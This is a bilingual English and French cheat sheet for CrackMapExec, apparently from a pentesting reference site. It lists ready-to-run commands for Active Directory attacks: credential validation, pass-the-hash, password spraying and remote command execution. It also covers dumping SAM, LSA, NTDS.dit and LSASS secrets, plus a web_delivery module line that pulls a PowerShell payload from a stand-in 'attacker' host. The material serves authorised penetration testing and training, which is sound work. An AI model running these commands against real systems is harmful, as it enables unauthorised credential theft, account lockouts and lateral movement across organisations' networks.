CrackMapExec

Couteau suisse du pentest Active Directory. Teste des identifiants via SMB/WinRM/LDAP/SSH, exécute des commandes, extrait des secrets et spraye des mots de passe. Swiss army knife for Active Directory pentesting. Tests credentials across SMB/WinRM/LDAP/SSH, executes commands, dumps secrets, and sprays passwords.

↗ https://github.com/byt3bl33d3r/CrackMapExec

Overview

CrackMapExec (CME) automates common Active Directory attacks: credential validation, password spraying, lateral movement via SMB/WinRM/LDAP, and post-exploitation. Note: CME is deprecated in favor of NetExec (nxc) which is its actively maintained fork.

Credential Testing

Test creds via SMB against a single host

crackmapexec smb 10.10.10.1 -u administrator -p 'Password1'

Test against a subnet

crackmapexec smb 10.10.10.0/24 -u administrator -p 'Password1'

Pass-the-hash

crackmapexec smb 10.10.10.0/24 -u administrator -H aad3b435b51404eeaad3b435b51404ee

From target list

crackmapexec smb targets.txt -u administrator -p 'Password1'

Password Spraying

Spray a password across many users

crackmapexec smb 10.10.10.1 -u users.txt -p 'Winter2024!'

Spray with lockout protection (—no-bruteforce: one password per user)

crackmapexec smb 10.10.10.1 -u users.txt -p 'Winter2024!' --no-bruteforce

Multiple passwords (careful: may lockout accounts)

crackmapexec smb 10.10.10.1 -u users.txt -p passwords.txt

Enumeration

List shares

crackmapexec smb 10.10.10.1 -u user -p pass --shares

List logged-on users

crackmapexec smb 10.10.10.1 -u user -p pass --loggedon-users

Enumerate users

crackmapexec smb 10.10.10.1 -u user -p pass --users

Enumerate groups

crackmapexec smb 10.10.10.1 -u user -p pass --groups

Get password policy

crackmapexec smb 10.10.10.1 -u user -p pass --pass-pol

Enumerate domain computers

crackmapexec smb 10.10.10.1 -u user -p pass --computers

Command Execution

Execute a command via SMB (uses wmiexec by default)

crackmapexec smb 10.10.10.1 -u administrator -p pass -x "whoami"

PowerShell execution

crackmapexec smb 10.10.10.1 -u administrator -p pass -X "Get-Process"

Execute on all hosts where we have admin access (marked [+])

crackmapexec smb 10.10.10.0/24 -u administrator -p pass -x "net user" --no-output

Credential Dumping

Dump SAM hashes

crackmapexec smb 10.10.10.1 -u administrator -p pass --sam

Dump LSA secrets

crackmapexec smb 10.10.10.1 -u administrator -p pass --lsa

Dump NTDS.dit (domain controller only)

crackmapexec smb 10.10.10.1 -u administrator -p pass --ntds

Run mimikatz modules

crackmapexec smb 10.10.10.1 -u administrator -p pass -M mimikatz

WinRM, LDAP, SSH Protocols

WinRM

crackmapexec winrm 10.10.10.1 -u administrator -p pass -x "whoami"
# LDAP enumeration
crackmapexec ldap 10.10.10.1 -u user -p pass --users
crackmapexec ldap 10.10.10.1 -u user -p pass --bloodhound -ns 10.10.10.1 -c All

SSH

crackmapexec ssh 10.10.10.1 -u root -p pass -x "id"

Modules

List available modules

crackmapexec smb -L
# Useful modules
crackmapexec smb 10.10.10.1 -u user -p pass -M gpp_password   # GPP passwords
crackmapexec smb 10.10.10.1 -u user -p pass -M lsassy          # Dump LSASS with lsassy
crackmapexec smb 10.10.10.1 -u user -p pass -M web_delivery -o URL=http://attacker/shell.ps1

Tips

  • [+] means valid credentials; (Pwn3d!) means local admin access
  • Use --local-auth when testing local accounts (not domain accounts)
  • The CME database (cmedb) stores all credentials found across sessions
  • Use NetExec (nxc) for the same syntax with active maintenance
Protocol/module quick reference
Protocols: smb, winrm, ldap, ssh, mssql, rdp, ftp, vnc

Common flags:
  -u USER/FILE     Username or file
  -p PASS/FILE     Password or file
  -H HASH          NTLM hash
  -d DOMAIN        Domain
  --local-auth     Local authentication
  --shares         Enumerate shares
  --users          Enumerate users
  --groups         Enumerate groups
  --loggedon-users List logged-on users
  --sam            Dump SAM
  --lsa            Dump LSA
  --ntds           Dump NTDS
  --pass-pol       Password policy
  -x CMD           Execute command
  -X PS_CMD        Execute PowerShell
  -M MODULE        Use module
  --no-bruteforce  1 password per user (spray mode)

Vue d’ensemble

CrackMapExec (CME) automatise les attaques Active Directory courantes : validation d’identifiants, password spraying, déplacement latéral via SMB/WinRM/LDAP, et post-exploitation. Note : CME est déprécié au profit de NetExec (nxc), qui est son fork activement maintenu.

Test d’identifiants

# Tester des identifiants via SMB contre un seul hôte
crackmapexec smb 10.10.10.1 -u administrator -p 'Password1'

# Tester contre un sous-réseau
crackmapexec smb 10.10.10.0/24 -u administrator -p 'Password1'

# Pass-the-hash
crackmapexec smb 10.10.10.0/24 -u administrator -H aad3b435b51404eeaad3b435b51404ee

# Depuis une liste de cibles
crackmapexec smb targets.txt -u administrator -p 'Password1'

Password spraying

# Sprayer un mot de passe sur de nombreux utilisateurs
crackmapexec smb 10.10.10.1 -u users.txt -p 'Winter2024!'

# Spray avec protection contre le verrouillage (--no-bruteforce : un mot de passe par utilisateur)
crackmapexec smb 10.10.10.1 -u users.txt -p 'Winter2024!' --no-bruteforce

# Plusieurs mots de passe (prudence : peut verrouiller des comptes)
crackmapexec smb 10.10.10.1 -u users.txt -p passwords.txt

Énumération

# Lister les partages
crackmapexec smb 10.10.10.1 -u user -p pass --shares

# Lister les utilisateurs connectés
crackmapexec smb 10.10.10.1 -u user -p pass --loggedon-users

# Énumérer les utilisateurs
crackmapexec smb 10.10.10.1 -u user -p pass --users

# Énumérer les groupes
crackmapexec smb 10.10.10.1 -u user -p pass --groups

# Récupérer la politique de mot de passe
crackmapexec smb 10.10.10.1 -u user -p pass --pass-pol

# Énumérer les ordinateurs du domaine
crackmapexec smb 10.10.10.1 -u user -p pass --computers

Exécution de commandes

# Exécuter une commande via SMB (utilise wmiexec par défaut)
crackmapexec smb 10.10.10.1 -u administrator -p pass -x "whoami"

# Exécution PowerShell
crackmapexec smb 10.10.10.1 -u administrator -p pass -X "Get-Process"

# Exécuter sur tous les hôtes où on a un accès admin (marqués [+])
crackmapexec smb 10.10.10.0/24 -u administrator -p pass -x "net user" --no-output

Extraction d’identifiants

# Extraire les empreintes SAM
crackmapexec smb 10.10.10.1 -u administrator -p pass --sam

# Extraire les secrets LSA
crackmapexec smb 10.10.10.1 -u administrator -p pass --lsa

# Extraire NTDS.dit (contrôleur de domaine uniquement)
crackmapexec smb 10.10.10.1 -u administrator -p pass --ntds

# Lancer les modules mimikatz
crackmapexec smb 10.10.10.1 -u administrator -p pass -M mimikatz

Protocoles WinRM, LDAP, SSH

# WinRM
crackmapexec winrm 10.10.10.1 -u administrator -p pass -x "whoami"

# Énumération LDAP
crackmapexec ldap 10.10.10.1 -u user -p pass --users
crackmapexec ldap 10.10.10.1 -u user -p pass --bloodhound -ns 10.10.10.1 -c All

# SSH
crackmapexec ssh 10.10.10.1 -u root -p pass -x "id"

Modules

# Lister les modules disponibles
crackmapexec smb -L

# Modules utiles
crackmapexec smb 10.10.10.1 -u user -p pass -M gpp_password   # Mots de passe GPP
crackmapexec smb 10.10.10.1 -u user -p pass -M lsassy          # Extraire LSASS avec lsassy
crackmapexec smb 10.10.10.1 -u user -p pass -M web_delivery -o URL=http://attacker/shell.ps1

Conseils

  • [+] signifie des identifiants valides ; (Pwn3d!) signifie un accès admin local
  • Utilisez --local-auth pour tester des comptes locaux (pas des comptes de domaine)
  • La base CME (cmedb) stocke tous les identifiants trouvés au fil des sessions
  • Utilisez NetExec (nxc) pour la même syntaxe avec une maintenance active
Référence rapide protocoles/modules
Protocols: smb, winrm, ldap, ssh, mssql, rdp, ftp, vnc

Common flags:
  -u USER/FILE     Username or file
  -p PASS/FILE     Password or file
  -H HASH          NTLM hash
  -d DOMAIN        Domain
  --local-auth     Local authentication
  --shares         Enumerate shares
  --users          Enumerate users
  --groups         Enumerate groups
  --loggedon-users List logged-on users
  --sam            Dump SAM
  --lsa            Dump LSA
  --ntds           Dump NTDS
  --pass-pol       Password policy
  -x CMD           Execute command
  -X PS_CMD        Execute PowerShell
  -M MODULE        Use module
  --no-bruteforce  1 password per user (spray mode)